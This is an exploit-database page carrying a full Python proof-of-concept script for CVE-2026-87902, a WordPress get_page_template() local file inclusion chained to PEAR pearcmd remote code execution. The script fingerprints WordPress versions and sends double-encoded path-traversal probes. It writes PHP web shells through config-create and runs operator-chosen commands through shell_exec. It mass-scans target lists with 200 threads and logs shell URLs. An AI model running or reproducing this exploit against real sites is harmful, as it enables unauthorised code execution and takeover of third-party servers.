Exploit database

GH-41c8e9893dfa25aff722d176f414c048

langz337/cve-2026-87902

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-87902

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
langz337/cve-2026-87902Revision d1ec08d79d67

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-87902.py

Suggested starting filePython · 28,983 bytes
#!/usr/bin/env python3
import os, sys, re, time, secrets, threading
import concurrent.futures as cf
from urllib.parse import quote
try:
    import requests
except ImportError:
    print("pip install requests")
    sys.exit(1)

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

TIMEOUT         = 8
THREADS         = 200
SHOW_ALL        = True
USE_ALL_ORACLES = False

class C:
    RST  = '\033[0m'
    BOLD = '\033[1m'
    DIM  = '\033[2m'
    RED  = '\033[38;5;203m'
    ORNG = '\033[38;5;215m'
    YLW  = '\033[38;5;227m'
    GRN  = '\033[38;5;114m'
    CYN  = '\033[38;5;116m'
    BLU  = '\033[38;5;111m'
    VIO  = '\033[38;5;141m'
    MGN  = '\033[38;5;211m'
    PNK  = '\033[38;5;217m'
    WHT  = '\033[38;5;252m'
    GRY  = '\033[38;5;242m'
    DK   = '\033[38;5;238m'

ORACLES = {
    "wp-links-opml": '<opml version="1.0">',
}

ALL_ORACLES = {
    "wp-links-opml":    '<opml version="1.0">',
    "wp-trackback":     "I really need an ID for this to work.",
    "wp-admin/install": "Already Installed",
    "xmlrpc":           "XML-RPC server accepts only POST requests.",
}

PEAR_PATHS = [
    "usr/local/lib/php/pearcmd",
    "usr/share/php/pearcmd",
    "usr/local/share/pear/pearcmd",
    "usr/share/pear/pearcmd",
    "opt/cpanel/ea-php81/root/usr/share/pear/pearcmd",
    "opt/cpanel/ea-php82/root/usr/share/pear/pearcmd",
    "opt/cpanel/ea-php83/root/usr/share/pear/pearcmd",
    "opt/cpanel/ea-php84/root/usr/share/pear/pearcmd",
]

COMMON_PAGE_DIRS = [
    "page-templates", "page-parts", "page-sections", "page-builder",
    "page-layouts", "page-modules", "page-components", "page-blocks",
    "page-elements", "page-partials", "page-content", "page-inc",
    "page-includes", "page-full", "page-starter", "page-blank",
]

DEPTHS = [4, 3, 5, 6, 7]
DEFAULT_PIDS = [2, 3, 4, 5, 7, 10]

FIXED = {
    (4, 7): 37, (4, 8): 32, (4, 9): 33, (5, 0): 29, (5, 1): 26, (5, 2): 28,
    (5, 3): 25, (5, 4): 23, (5, 5): 22, (5, 6): 21, (5, 7): 19, (5, 8): 17,
    (5, 9): 18, (6, 0): 16, (6, 1): 14, (6, 2): 13, (6, 3): 12, (6, 4): 12,
    (6, 5): 12, (6, 6): 9, (6, 7): 9, (6, 8): 10, (6, 9): 9, (7, 0): 6, (7, 1): 2,
}
HIGH_CONF_SOURCES = {"meta-generator", "feed-generator", "opml-generator"}

_META_GEN = re.compile(
    r'<meta[^>]+name=["\']generator["\'][^>]+content=["\']WordPress\s+([0-9]+(?:\.[0-9]+){1,2})',
    re.I)
_FEED_GEN = re.compile(
    r'<generator>\s*https?://wordpress\.org/\?v=([0-9]+(?:\.[0-9]+){1,2})', re.I)
_OPML_GEN = re.compile(
    r'generator=["\']WordPress/([0-9]+(?:\.[0-9]+){1,2})', re.I)
_README_V = re.compile(r'Version\s+([0-9]+(?:\.[0-9]+){1,2})', re.I)
_ASSET_VER = re.compile(
    r'/wp-includes/js/(?:wp-emoji-release|wp-embed)(?:\.min)?\.js\?ver=([0-9]+(?:\.[0-9]+){1,2})',
    re.I)
_WP_HINT = re.compile(
    r'/wp-content/|/wp-includes/|wp-json|<meta[^>]+WordPress|rest_route=', re.I)
_STYLE_CSS = re.compile(
    r'wp-content/themes/([A-Za-z0-9_.-]+)/style\.css(?:\?ver=([0-9][A-Za-z0-9._-]*))?',
    re.I)
_THEME_SLUG = re.compile(r'/wp-content/themes/([A-Za-z0-9_.-]+)/', re.I)
_TEMPLATE_HDR = re.compile(r'^\s*Template:\s*(\S+)', re.I | re.M)
_PAGE_ID_BODY = re.compile(r'\bpage-id-([0-9]+)\b')
_SHORTLINK = re.compile(
    r'rel=["\']shortlink["\'][^>]*href=["\'][^"\']*?[?&]p=([0-9]+)', re.I)
_REST_IDS = re.compile(r'"id"\s*:\s*([0-9]+)')

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
LFI_OUT = 'vuln_lfi.txt'
RCE_OUT = 'vuln_lfitorce.txt'

SESSION = requests.Session()
SESSION.verify = False
SESSION.headers.update({
    'User-Agent': UA,
    'Accept': '*/*',
    'Accept-Encoding': 'identity',
    'Connection': 'close',
})

adapter = requests.adapters.HTTPAdapter(
    pool_connections=200, pool_maxsize=200, max_retries=0)
SESSION.mount('http://', adapter)
SESSION.mount('https://', adapter)

STOP = threading.Event()
PRINT_LOCK = threading.Lock()

def banner():
    os.system('cls' if os.name == 'nt' else 'clear')
    art = r"""
    ██╗      █████╗ ███╗   ██╗ ██████╗ ███████╗
    ██║     ██╔══██╗████╗  ██║██╔════╝ ╚══███╔╝
    ██║     ███████║██╔██╗ ██║██║  ███╗  ███╔╝ 
    ██║     ██╔══██║██║╚██╗██║██║   ██║ ███╔╝  
    ███████╗██║  ██║██║ ╚████║╚██████╔╝███████╗
    ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚══════╝
    """
    shades = [
        '\033[38;5;46m', '\033[38;5;40m', '\033[38;5;34m',
        '\033[38;5;28m', '\033[38;5;22m', '\033[38;5;22m'
    ]
    for i, ln in enumerate(art.strip('\n').split('\n')):
        print(shades[i % len(shades)] + ln + C.RST)
    print()
    print(f"  {C.GRN}{C.BOLD}CVE-2026-87902{C.RST}  {C.DK}|{C.RST}  {C.CYN}WordPress get_page_template() LFI{C.RST}  {C.DK}->{C.RST}  {C.MGN}PEAR RCE{C.RST}  {C.DK}|{C.RST}  {C.VIO}{C.BOLD}Langz{C.RST}")
    print(f"  {C.DK}{'─' * 90}{C.RST}\n")

def normalize(url):
    url = url.strip()
    if not url:
        return None
    if not re.match(r'^https?://', url, re.I):
        url = 'https://' + url
    return url.rstrip('/')

def http(url, method='GET', data=None, timeout=None, headers=None):
    if STOP.is_set():
        return 0, ''
    try:
        h = dict(SESSION.headers)
        if headers:
            h.update(headers)
        rr = SESSION.request(method, url, data=data, timeout=timeout or TIMEOUT,
                             headers=h, allow_redirects=True)
        return rr.status_code, rr.text
    except requests.exceptions.Timeout:
        return 0, 'timeout'
    except requests.exceptions.SSLError:
        return 0, 'ssl error'
    except requests.exceptions.ConnectionError:
        return 0, 'connection error'
    except requests.exceptions.TooManyRedirects:
        return 0, 'too many redirects'
    except Exception as e:
        return 0, str(e)[:80]

def dbl(s):
    out = []
    for ch in s:
        if ch == "/":
            out.append("%252f")
        elif ch == ".":
            out.append("%252e")
        else:
            out.append(ch)
    return "".join(out)

def build_pagename(segment, depth, target):
    path = segment + "/" + ("../" * depth) + target.lstrip("/")
    return dbl(path)

def probe(base, pid, pagename, method='qs'):
    if method == 'qs':
        url = f"{base}/?page_id={pid}&pagename={pagename}"
        return http(url, method='POST')
    elif method == 'body':
        url = f"{base}/"
        data = f"page_id={pid}&pagename={pagename}"
        return http(url, method='POST', data=data,
                    headers={'Content-Type': 'application/x-www-form-urlencoded'})
    return 0, ''

def parse_version(v):
    parts = v.split(".")
    try:
        maj = int(parts[0]); mnr = int(parts[1])
    except (IndexError, ValueError):
        return None
    patch = None
    if len(parts) >= 3:
        try:
            patch = int(parts[2])
        except ValueError:
            patch = None
    return (maj, mnr, patch)

def version_verdict(v):
    pv = parse_version(v)
    if not pv:
        return ("unknown_patch", "unparseable")
    maj, mnr, patch = pv
    if (maj, mnr, patch or 0) < (4, 7, 0):
        return ("out_of_range", "predates vuln")
    b = (maj, mnr)
    if b in FIXED:
        fix = FIXED[b]
        if patch is None:
            return ("unknown_patch", "branch %d.%d patch unknown" % b)
        if patch < fix:
            return ("vulnerable_range", "%s < %d.%d.%d" % (v, maj, mnr, fix))
        return ("patched", "%s >= %d.%d.%d" % (v, maj, mnr, fix))
    if b > (7, 1):
        return ("out_of_range", "released after fix")
    if (4, 7) <= b <= (7, 1):
        return ("vulnerable_range", "in affected range")
    return ("out_of_range", "outside range")

def fingerprint(base, home_body):
    out = {"is_wordpress": False, "version": None, "version_source": None}
    if _WP_HINT.search(home_body or ""):
        out["is_wordpress"] = True
    m = _META_GEN.search(home_body or "")
    if m:
        out.update(version=m.group(1), version_source="meta-generator", is_wordpress=True)
    if not out["version"]:
        st, body = http(base + "/?feed=rss2", timeout=5)
        if st and st > 0:
            m = _FEED_GEN.search(body)
            if m:
                out.update(version=m.group(1), version_source="feed-generator", is_wordpress=True)
            elif "<rss" in body.lower() and "wordpress" in body.lower():
                out["is_wordpress"] = True
    if not out["version"]:
        st, body = http(base + "/wp-links-opml.php", timeout=5)
        if st and st > 0:
            m = _OPML_GEN.search(body)
            if m:
                out.update(version=m.group(1), version_source="opml-generator", is_wordpress=True)
            if "<opml" in body.lower():
                out["is_wordpress"] = True
    if not out["version"]:
        st, body = http(base + "/readme.html", timeout=5)
        if st and st > 0 and "wordpress" in body.lower():
            out["is_wordpress"] = True
            m = _README_V.search(body)
            if m:
                out.update(version=m.group(1), version_source="readme.html")
    if not out["version"] and home_body:
        m = _ASSET_VER.search(home_body)
        if m:
            out.update(version=m.group(1), version_source="asset-ver", is_wordpress=True)
    if out["version"]:
        vv, note = version_verdict(out["version"])
    else:
        vv, note = "unknown_patch", "no version"
    out["version_verdict"] = vv
    out["version_note"] = note
    return out

def detect_theme(html):
    if not html:
        return None, None
    m = _STYLE_CSS.search(html)
    if m:
        return m.group(1), m.group(2)
    m = _THEME_SLUG.search(html)
    return (m.group(1), None) if m else (None, None)

def detect_parent_theme(base, theme):
    if not theme:
        return None
    st, body = http(f"{base}/wp-content/themes/{theme}/style.css", timeout=5)
    if st != 200:
        return None
    m = _TEMPLATE_HDR.search(body)
    if m and m.group(1) != theme:
        return m.group(1)
    return None

def discover_page_ids(base, home_body):
    ids = []
    for url in [
        base + "/wp-json/wp/v2/pages?per_page=100&_fields=id",
        base + "/?rest_route=/wp/v2/pages&per_page=100&_fields=id",
    ]:
        st, body = http(url, timeout=5)
        if st == 200 and body.lstrip().startswith('['):
            found = [int(x) for x in _REST_IDS.findall(body)][:20]
            if found:
                ids.extend(found)
                break
    if home_body:
        ids.extend([int(x) for x in _PAGE_ID_BODY.findall(home_body)][:10])
        ids.extend([int(x) for x in _SHORTLINK.findall(home_body)][:5])
    for dd in DEFAULT_PIDS:
        ids.append(dd)
    return list(dict.fromkeys(ids))

def _strip_page_prefix(name):
    if name.startswith("page-"):
        return name[len("page-"):]
    return name

def discover_page_dirs(base, themes, home_body):
    found = []
    for theme in themes:
        if not theme:
            continue
        raw = sorted(set(re.findall(
            r"wp-content/themes/%s/(page-[A-Za-z0-9_-]+)/" % re.escape(theme),
            home_body or "")))
        if raw:
            found.extend([_strip_page_prefix(x) for x in raw])
            continue
        bogus = "page-absent-%s" % secrets.token_hex(3)
        bst, _ = http(f"{base}/wp-content/themes/{theme}/{bogus}/", method='HEAD', timeout=4)
        for dd in COMMON_PAGE_DIRS:
            dst, _ = http(f"{base}/wp-content/themes/{theme}/{dd}/", method='HEAD', timeout=4)
            if dst and dst not in (bst, 404):
                found.append(_strip_page_prefix(dd))
    return list(dict.fromkeys(found))

def oracle_scan(base, pid, segment, depth, names, method='qs'):
    for oracle_name in names:
        if STOP.is_set():
            return None
        marker = ALL_ORACLES.get(oracle_name) or ORACLES.get(oracle_name)
        if not marker:
            continue
        pn = build_pagename(segment, depth, oracle_name)
        st, body = probe(base, pid, pn, method=method)
        hit = (st == 200 and marker in body)
        if not hit:
            continue
        nx = "cve87902-absent-%s" % secrets.token_hex(4)
        nx_pn = build_pagename(segment, depth, nx)
        nst, nbody = probe(base, pid, nx_pn, method=method)
        if nst == 200 and marker in nbody:
            continue
        return {
            'oracle': oracle_name, 'page_id': pid,
            'segment': segment, 'depth': depth, 'http_status': st,
        }
    return None

def scan_one(target):
    base = normalize(target)
    res = {
        'target': target, 'url': target,
        'classification': 'ERROR', 'is_wordpress': None,
        'version': None, 'oracle': None, 'detail': '', 'rce_info': None,
    }
    if base is None:
        res['detail'] = 'empty target'
        return res

    res['url'] = base

    st, home = http(base + '/')
    if st == 0:
        res['detail'] = (home or '')[:80]
        return res

    fp = fingerprint(base, home)
    res['is_wordpress'] = fp['is_wordpress']
    res['version'] = fp['version']

    if not fp['is_wordpress']:
        res['classification'] = 'NOT_WP'
        res['detail'] = 'no wordpress'
        return res

    high_conf = fp['version_source'] in HIGH_CONF_SOURCES
    early_not_vuln = (high_conf and fp['version_verdict'] in ('patched', 'out_of_range'))
    if early_not_vuln:
        res['classification'] = 'NOT_VULN'
        res['detail'] = fp['version_note'] or 'patched'
        return res

    theme, _ = detect_theme(home)
    parent = detect_parent_theme(base, theme) if theme else None
    page_dirs = discover_page_dirs(base, [t for t in (theme, parent) if t], home)
    if not page_dirs:
        page_dirs = ['templates']

    page_ids = discover_page_ids(base, home)
    names = list(ALL_ORACLES.keys()) if USE_ALL_ORACLES else list(ORACLES.keys())

    for segment in page_dirs:
        if STOP.is_set():
            return res
        for depth in DEPTHS:
            if STOP.is_set():
                return res
            fired = oracle_scan(base, page_ids[0], segment, depth, names)
            if fired:
                res['classification'] = 'VULNERABLE'
                res['oracle'] = fired
                res['detail'] = f"{segment} pid={page_ids[0]} d={depth}"
                return res

    in_range = fp['version_verdict'] in ('vulnerable_range', 'unknown_patch')
    if in_range:
        tier2 = []
        for n in names:
            tier2 += [n, "wp/" + n, "wordpress/" + n]
        for segment in page_dirs:
            if STOP.is_set():
                return res
            for pid in page_ids[:4]:
                if STOP.is_set():
                    return res
                for depth in DEPTHS:
                    if STOP.is_set():
                        return res
                    fired = oracle_scan(base, pid, segment, depth, tier2)
                    if fired:
                        res['classification'] = 'VULNERABLE'
                        res['oracle'] = fired
                        res['detail'] = f"{segment} pid={pid} d={depth}"
                        return res

    res['classification'] = 'NOT_VULN'
    res['detail'] = 'oracle not fired'
    return res

def pear_rce(base, pid, segment, depth, cmd='id'):
    for pear in PEAR_PATHS:
        if STOP.is_set():
            return False, None, None, None
        pn = build_pagename(segment, depth, pear + ".php")
        probe_url = base + "/?" + quote("+config-show+", safe="+/")
        data = f"page_id={pid}&pagename={pn}"
        st, body = http(probe_url, method='POST', data=data,
                        headers={'Content-Type': 'application/x-www-form-urlencoded'})
        reachable = (st and st > 0 and ("CONFIGURATION" in body or "Commands:" in body))
        if not reachable:
            continue

        tag = "wp" + secrets.token_hex(4)
        probe_php = "<?=`id`,unlink(__FILE__)?>"
        targets = [
            (f"{tag}.php", "../" * depth + tag, f"/{tag}.php"),
            (f"wp-content/uploads/{tag}.php",
             "../" * depth + f"wp-content/uploads/{tag}",
             f"/wp-content/uploads/{tag}.php"),
            (f"/tmp/{tag}.php", "../" * depth + f"tmp/{tag}", None),
        ]
        for write_path, exec_rel, direct_url in targets:
            if STOP.is_set():
                return False, None, None, None
            raw_q = "+config-create+/tmp/p" + probe_php + "+" + write_path
            q = base + "/?" + quote(raw_q, safe="+/")
            http(q, method='POST', data=data,
                 headers={'Content-Type': 'application/x-www-form-urlencoded'})
            exec_pn = dbl(segment + "/" + exec_rel)
            st2, body2 = http(base + "/", method='POST',
                              data=f"page_id={pid}&pagename={exec_pn}",
                              headers={'Content-Type': 'application/x-www-form-urlencoded'})
            mm = re.search(r"uid=\d+\([a-z0-9_-]+\)", body2 or "")
            if not mm and direct_url:
                st3, body3 = http(base + direct_url, timeout=5)
                mm = re.search(r"uid=\d+\([a-z0-9_-]+\)", body3 or "")
            if mm:
                return True, pear, {
                    'url': (base + direct_url) if direct_url
                           else f"{base}?page_id={pid}&pagename={exec_pn}",
                    'write_path': write_path,
                }, mm.group(0)

        if cmd and cmd != 'id':
            php_payload = "<?=shell_exec(%s)?>" % ".".join(
                f"chr({ord(ch)})" for ch in cmd)
            write_path = f"/tmp/wp-rce-{tag}.php"
            raw_q = "+config-create+/" + php_payload + "+" + write_path
            q = base + "/?" + quote(raw_q, safe="+/")
            http(q, method='POST', data=data,
                 headers={'Content-Type': 'application/x-www-form-urlencoded'})
            exec_pn = dbl(segment + "/" + "../" * depth + f"tmp/wp-rce-{tag}")
            st2, body2 = http(base + "/", method='POST',
                              data=f"page_id={pid}&pagename={exec_pn}",
                              headers={'Content-Type': 'application/x-www-form-urlencoded'})
            if body2:
                clean = re.sub(r"<[^>]+>", "", body2).strip()
                if clean:
                    return True, pear, {
                        'url': f"{base}?page_id={pid}&pagename={exec_pn}",
                        'write_path': write_path,
                    }, clean[:2000]
        return False, pear, None, None
    return False, None, None, None

def append_line(path, line):
    try:
        with open(path, 'a', encoding='utf-8') as f:
            f.write(line + '\n')
            f.flush()
            os.fsync(f.fileno())
    except Exception:
        pass

def save_banner(path_lfi, path_rce=None):
    ts = time.strftime('%Y-%m-%d %H:%M:%S')
    append_line(path_lfi, f"# {ts}")
    if path_rce:
        append_line(path_rce, f"# {ts}")

def is_timeout_detail(detail):
    dl = (detail or '').lower()
    return ('timeout' in dl or 'timed out' in dl)

def vcolor(verdict):
    return {
        'vulnerable_range': C.YLW,
        'patched':          C.GRN,
        'out_of_range':     C.BLU,
        'unknown_patch':    C.ORNG,
    }.get(verdict, C.GRY)

def trunc(s, n):
    s = s or ''
    return s[:n - 1] + '~' if len(s) > n else s

def pad(txt, width):
    return txt + ' ' * max(0, width - len(txt))

URL_W  = 42
VER_W  = 8
STAT_W = 6
INFO_W = 26

def status_tag(cls):
    if cls == 'VULNERABLE':  return f"{C.GRN}{C.BOLD}VULN{C.RST} "
    if cls == 'NOT_VULN':    return f"{C.CYN}PATCH{C.RST}"
    if cls == 'NOT_WP':      return f"{C.YLW}NOWP{C.RST} "
    if cls == 'ERROR':       return f"{C.RED}ERR{C.RST}  "
    return f"{C.GRY}?{C.RST}    "

def fmt_block(idx, total, res):
    cls = res['classification']
    url_raw = (res['url'] or '').replace('https://', '').replace('http://', '')
    url = trunc(url_raw, URL_W)
    url_pad = url.ljust(URL_W)

    counter = f"{C.DK}[{str(idx).rjust(5)}/{total}]{C.RST}"

    ver = res.get('version') or '-'
    vv = res.get('version_verdict')

    if cls == 'VULNERABLE':
        detail = res.get('detail') or ''
        head = (
            f"  {counter}  "
            f"{status_tag(cls)}  "
            f"{C.WHT}{C.BOLD}{url_pad}{C.RST}  "
            f"{C.GRY}{ver.ljust(VER_W)}{C.RST}  "
            f"{C.CYN}{trunc(detail, INFO_W)}{C.RST}"
        )
    elif cls == 'NOT_VULN':
        if not SHOW_ALL: return None
        detail = res.get('detail') or ''
        head = (
            f"  {counter}  "
            f"{status_tag(cls)}  "
            f"{C.GRY}{url_pad}{C.RST}  "
            f"{C.GRY}{ver.ljust(VER_W)}{C.RST}  "
            f"{C.DK}{trunc(detail, INFO_W)}{C.RST}"
        )
    elif cls == 'NOT_WP':
        if not SHOW_ALL: return None
        head = (
            f"  {counter}  "
            f"{status_tag(cls)}  "
            f"{C.GRY}{url_pad}{C.RST}"
        )
    else:
        det = res.get('detail') or ''
        if is_timeout_detail(det):
            head = (
                f"  {counter}  "
                f"{C.ORNG}TMO{C.RST}    "
                f"{C.ORNG}{url_pad}{C.RST}  "
                f"{C.GRY}{'-'.ljust(VER_W)}{C.RST}  "
                f"{C.ORNG}timeout{C.RST}"
            )
        else:
            head = (
                f"  {counter}  "
                f"{status_tag(cls)}  "
                f"{C.RED}{url_pad}{C.RST}  "
                f"{C.GRY}{'-'.ljust(VER_W)}{C.RST}  "
                f"{C.RED}{trunc(det, INFO_W)}{C.RST}"
            )

    lines = [head]

    if res.get('rce_info'):
        ri = res['rce_info']
        indent = " " * 22
        lines.append(f"{indent}{C.DK}┌{'─' * 62}{C.RST}")
        lines.append(f"{indent}{C.DK}│{C.RST} {C.MGN}{C.BOLD}RCE{C.RST}   {C.GRY}pear{C.RST} {C.WHT}{ri['pear']}.php{C.RST}")
        lines.append(f"{indent}{C.DK}│{C.RST}       {C.GRY}url {C.RST} {C.PNK}{trunc(ri['shell_url'], 60)}{C.RST}")
        lines.append(f"{indent}{C.DK}│{C.RST}       {C.GRY}out {C.RST} {C.GRN}{trunc(ri['output'], 60)}{C.RST}")
        lines.append(f"{indent}{C.DK}└{'─' * 62}{C.RST}")

    return "\n".join(lines)

def print_header(total, threads, do_rce):
    print(f"  {C.DK}{'─' * 90}{C.RST}")
    print(
        f"  {C.GRY}targets{C.RST} {C.WHT}{C.BOLD}{total}{C.RST}   "
        f"{C.GRY}threads{C.RST} {C.WHT}{threads}{C.RST}   "
        f"{C.GRY}timeout{C.RST} {C.WHT}{TIMEOUT}s{C.RST}   "
        f"{C.GRY}rce{C.RST} {C.WHT}{'yes' if do_rce else 'no'}{C.RST}   "
        f"{C.GRY}oracles{C.RST} {C.WHT}{'all' if USE_ALL_ORACLES else '1'}{C.RST}"
    )
    print(f"  {C.DK}{'─' * 90}{C.RST}\n")

def print_summary(counter, total, elapsed):
    print(f"\n  {C.DK}{'─' * 90}{C.RST}")
    print(
        f"  {C.WHT}{C.BOLD}done{C.RST}  "
        f"{C.GRY}in{C.RST} {C.WHT}{elapsed:.1f}s{C.RST}  "
        f"{C.DK}|{C.RST}  "
        f"{C.GRN}VULN {str(counter['vuln']).rjust(4)}{C.RST}  "
        f"{C.MGN}RCE  {str(counter['rce']).rjust(4)}{C.RST}  "
        f"{C.ORNG}TMO  {str(counter['tmo']).rjust(4)}{C.RST}  "
        f"{C.DK}|{C.RST}  "
        f"{C.GRY}out:{C.RST} {C.GRN}{LFI_OUT}{C.RST} {C.GRY}/{C.RST} {C.MGN}{RCE_OUT}{C.RST}"
    )
    print(f"  {C.DK}{'─' * 90}{C.RST}\n")

def single_scan(target, do_rce=False, cmd='id'):
    print(f"\n  {C.GRN}>{C.RST} {C.GRY}target{C.RST}  {C.WHT}{C.BOLD}{target}{C.RST}")
    print(f"  {C.GRN}>{C.RST} {C.GRY}timeout{C.RST} {C.WHT}{TIMEOUT}s{C.RST}")
    print(f"  {C.DK}{'─' * 90}{C.RST}")

    res = scan_one(target)

    if res['classification'] == 'VULNERABLE':
        o = res['oracle']
        append_line(LFI_OUT,
            f"{res['url']} | {o['oracle']} | pid={o['page_id']} d={o['depth']} seg={o['segment']}")
        if do_rce:
            ok, pear, shell, output = pear_rce(
                res['url'], o['page_id'], o['segment'], o['depth'], cmd)
            if ok:
                res['rce_info'] = {'pear': pear, 'shell_url': shell['url'], 'output': output}
                append_line(RCE_OUT, f"{res['url']} | {pear}.php | {shell['url']}")

    block = fmt_block(1, 1, res)
    if block:
        print(block)

    if res['classification'] == 'VULNERABLE':
        print(f"\n  {C.GRN}>{C.RST} {C.GRY}saved{C.RST} {C.GRN}{LFI_OUT}{C.RST}")
        if res.get('rce_info'):
            print(f"  {C.MGN}>{C.RST} {C.GRY}saved{C.RST} {C.MGN}{RCE_OUT}{C.RST}")
    print()

def mass_scan(targets, threads, do_rce=False, cmd='id'):
    total = len(targets)
    t_start = time.time()
    print_header(total, threads, do_rce)

    counter = {'done': 0, 'vuln': 0, 'rce': 0, 'tmo': 0}
    lock = threading.Lock()

    def worker(t):
        if STOP.is_set():
            return
        with lock:
            counter['done'] += 1
            idx = counter['done']

        res = scan_one(t)

        if res['classification'] == 'VULNERABLE':
            o = res['oracle']
            append_line(LFI_OUT,
                f"{res['url']} | {o['oracle']} | pid={o['page_id']} d={o['depth']} seg={o['segment']}")
            with lock:
                counter['vuln'] += 1
            if do_rce:
                ok, pear, shell, output = pear_rce(
                    res['url'], o['page_id'], o['segment'], o['depth'], cmd)
                if ok:
                    res['rce_info'] = {'pear': pear, 'shell_url': shell['url'], 'output': output}
                    append_line(RCE_OUT, f"{res['url']} | {pear}.php | {shell['url']}")
                    with lock:
                        counter['rce'] += 1

        if res['classification'] == 'ERROR' and is_timeout_detail(res.get('detail')):
            with lock:
                counter['tmo'] += 1

        block = fmt_block(idx, total, res)
        if block:
            with PRINT_LOCK:
                sys.stdout.write(block + "\n")
                sys.stdout.flush()

    with cf.ThreadPoolExecutor(max_workers=max(1, threads)) as ex:
        list(ex.map(worker, targets))

    elapsed = time.time() - t_start
    print_summary(counter, total, elapsed)

def menu():
    while True:
        print(f"  {C.DK}{'─' * 60}{C.RST}")
        print(f"  {C.GRN}{C.BOLD}LANGZ{C.RST}  {C.DK}|{C.RST}  {C.WHT}CVE-2026-87902{C.RST}  {C.DK}|{C.RST}  {C.GRY}scanner{C.RST}")
        print(f"  {C.DK}{'─' * 60}{C.RST}")
        print(f"  {C.CYN}[1]{C.RST}  {C.WHT}Single Scan LFI{C.RST}")
        print(f"  {C.MGN}[2]{C.RST}  {C.WHT}Single Scan LFI {C.YLW}+{C.RST} {C.MGN}RCE{C.RST}")
        print(f"  {C.CYN}[3]{C.RST}  {C.WHT}Mass Scan LFI{C.RST}")
        print(f"  {C.MGN}[4]{C.RST}  {C.WHT}Mass Scan LFI {C.YLW}+{C.RST} {C.MGN}RCE{C.RST}")
        print(f"  {C.RED}[5]{C.RST}  {C.WHT}Keluar{C.RST}")
        print(f"  {C.DK}{'─' * 60}{C.RST}")

        try:
            choice = input(f"  {C.GRN}>{C.RST} {C.WHT}pilih:{C.RST} ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            return

        if choice == '1':
            u = input(f"  {C.CYN}url{C.RST} {C.DK}>{C.RST} ").strip()
            if u:
                save_banner(LFI_OUT)
                single_scan(u, do_rce=False)
        elif choice == '2':
            u = input(f"  {C.MGN}url{C.RST} {C.DK}>{C.RST} ").strip()
            cmd = input(f"  {C.MGN}cmd{C.RST} {C.DK}>{C.RST} ").strip() or 'id'
            if u:
                save_banner(LFI_OUT, RCE_OUT)
                single_scan(u, do_rce=True, cmd=cmd)
        elif choice == '3':
            f = input(f"  {C.CYN}file{C.RST} {C.DK}>{C.RST} ").strip()
            if not os.path.isfile(f):
                print(f"  {C.RED}file tidak ada{C.RST}"); continue
            targets = [t.strip() for t in open(f, encoding='utf-8')
                       if t.strip() and not t.startswith('#')]
            save_banner(LFI_OUT)
            mass_scan(targets, THREADS, do_rce=False)
        elif choice == '4':
            f = input(f"  {C.MGN}file{C.RST} {C.DK}>{C.RST} ").strip()
            if not os.path.isfile(f):
                print(f"  {C.RED}file tidak ada{C.RST}"); continue
            cmd = input(f"  {C.MGN}cmd {C.RST} {C.DK}>{C.RST} ").strip() or 'id'
            targets = [t.strip() for t in open(f, encoding='utf-8')
                       if t.strip() and not t.startswith('#')]
            save_banner(LFI_OUT, RCE_OUT)
            mass_scan(targets, THREADS, do_rce=True, cmd=cmd)
        elif choice == '5':
            print(f"\n  {C.GRN}bye{C.RST}\n")
            return
        else:
            print(f"  {C.RED}salah pilih{C.RST}")

if __name__ == '__main__':
    try:
        banner()
        menu()
    except KeyboardInterrupt:
        print(f"\n  {C.ORNG}interrupted{C.RST}\n")